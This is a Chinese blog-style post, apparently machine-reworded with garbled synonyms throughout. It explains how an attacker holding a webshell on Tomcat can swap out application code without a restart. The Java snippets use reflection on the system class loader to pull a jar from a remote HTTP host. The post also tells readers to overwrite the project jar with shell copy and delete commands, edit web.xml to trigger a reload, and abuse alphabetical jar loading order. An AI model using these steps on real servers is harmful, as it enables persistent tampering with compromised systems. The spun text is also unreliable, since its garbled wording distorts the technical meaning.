最近突发奇想,做了些小研究,创造了几个可以在有webshell的条件下不上传任何文件,不重启tomcat(默认配置)就能覆盖本地代码的方法,大家切不要拿来做坏事哦。

写了两个很大略的POC项目,web项目架构图如下:

正常功能很大略,便是一个servlet,输出jar包里的类返回的字符串:

为什么修改JSP不用重启tomcat不重启Tomcat笼罩当地代码 Vue.js

protectedvoid doGet(HttpServletRequest request, HttpServletResponse response) throwsServletException, IOException {MyNamename = new MyName(); response.getWriter().println(name.getName());}

jar包项目里的类:

public class MyName {publicString getName(){ return\公众Jack\"大众;}}

Lib里其余的那个tomcat-api.jar可以是任何文件,这里我随手复制进去的,稍后有用。

然后把“Jack”改成其他字符串,这里我改成 “a hacker”天生了一个ahacker.jar,以及改成”Lisa”天生一个raal.jar,之后会用。
我们的目标便是远程用ahacker.jar覆盖real.jar。

好了,开始大略讲下思路。
实在很大略,我创造通过Java代码可以添加jar到系统类路径,并且只要不重启做事器,这个修正都是存在的,那么接下来便是让做事看重新加载一遍jar包就行。
按照Tomcat加载jar包的优先级,在系统类路径里的jar包该当优先被加载,而如果有相同的类存在,tomcat只会用第一个被加载的类,也便是说它会用我们放到类路径里的jar包里的类。

第一个问题,如何在runtime修正类路径,这个的代码到处都是,比如:

https://stackoverflow.com/questions/1010919/adding-files-to-java-classpath-at-runtime

第二个问题:如何让tomcat重新加载一遍项目jar包,默认配置下是没有热支配的,但在tomcat的context.xml中我们可以看到:

<WatchedResource>WEB-INF/web.xml</WatchedResource>

也便是默认情形下tomcat是监控所有web.xml的变革的,如果这个文件有变革就会重新加载项目。

第三个问题:如果还要上传jar到目标做事器的话,会增加被创造的几率,我找到了一个可以远程把jar包放进类路径的办法。
拜会以下代码(包括修正类路径):

try {URIuri = new URI(\"大众http://192.168.128.71:8080/ahacker.jar\"大众);URLClassLoaderclassLoader = (URLClassLoader) ClassLoader.getSystemClassLoader();Methodadd = URLClassLoader.class.getDeclaredMethod(\公众addURL\公众,newClass[] { URL.class });add.setAccessible(true);add.invoke(classLoader,uri.toURL());}catch (Exception exp) { exp.printStackTrace();}ClassLoadercl = ClassLoader.getSystemClassLoader();URL[]urls = ((URLClassLoader) cl).getURLs(); for(URL url : urls) {out.println(url.getFile());}

修正web.xml的代码就不放了哈。


文件操作而已。

效果图也不放了哈。

便是第一次访问servlet的时候看到Jack,访问webshell后等10几秒再访问servlet就变成a hacker了。
忘却说一点,在访问webshell之前要先访问一下正常的servlet。
如果运行起来后直接访问webshell,修正类路径然后重新加载彷佛全体项目会卡住(dos?),下面的方法同样要这么做。

不过以上这个思路我只在tomcat 7.0.41和以下的版本实验成功了,7.0.5之后的版本怎么搞都没成功,彷佛Apache把tomcat类加载机制修正了一些。
预测可能是重新加载的时候优先加载项目lib下的jar。

系统类路径里的不计再重新加载(彷佛有点没道理,我没穷究,麻烦知道的奉告一声)。

但,放弃么?当然不啊。

我又开始探求其他可能性,末了终于让我找到了一个类似的方案,在最新的tomcat 9.0.0 m26中都可行。
只是要多些操作。

第一步操作不变,远程加载jar然后放到系统类路径。

第二步,用本地其他任何一个文件覆盖real.jar,担心署名的话用其他署名jar该当可行。
不要通过java IO,考试测验了下彷佛无法成功删除和修正jar。
但既然有webshell就可以运行命令嘛,del /Y,copy /Y啥的搞起。
目的便是让目标类中不存在原来的类,当tomcat重新加载后绊脚石当然也不存在了。

第三步,修正web.xml触发重新加载。

第四步,等重新加载结束后,大概10-20秒,访问servlet就会看到a hacker。

我后来还试了复原real.jar,实在便是copy real.jar到别的地方,然后覆盖real.jar,末了复原real.jar。
这么做的过程须要把稳在复原rea.jar的之前,要先访问一下servlet。
这也才是这个攻击的重点,即便tomca已经在我们修正类路径后彷佛也优先加载项目lib下的jar,我们只要让jar里面的类不存在了,tomcat就会重新找到我们放在系统类路径里的jar,并用里面的类。
复原后的jar不会构成影响,由于该加载的类已经加载完了嘛。
PS:规复real.jar之前你可以让JSP线程睡个半分钟,估摸着重新加载结束后,去访问一下覆盖过的代码就行。

对了,在tomcat 9中远程加载jar不再能用URI,但Java的URL本身就支持jar协议。

代码如下:

try {URLuri = new URL(\"大众jar:http://192.168.128.71:8080/ahacker.jar!/\公众);URLClassLoaderclassLoader = (URLClassLoader) ClassLoader.getSystemClassLoader();Methodadd = URLClassLoader.class.getDeclaredMethod(\"大众addURL\"大众,newClass[] { URL.class });add.setAccessible(true);add.invoke(classLoader,uri);}catch (Exception exp) { exp.printStackTrace();}

以上讲的方法该当是没办法通过jar包署名防的。
实在,还有另一个全版本通用的方法,只不过这个方法须要你上传一个jar,如果没有做jar包署名检讨的话,这个更好用一些。

之前讲过,有相同类的话,tomcat会用第一个加载的,我们现在已经能通过修正web.xml来触发重新加载了,那么只须要让tomcat优先加载我们上传的jar就行了。

经我测试。

tomcat加载jar的顺序是根据名称字母排序。


还记得我开头提到的那个raal.jar么。

你是不是明白了啥?

POC代码不放了哈,思路并不繁芜。
感兴趣的话大家可以从末了那个方法开始试。

官方微信:动力节点Java学院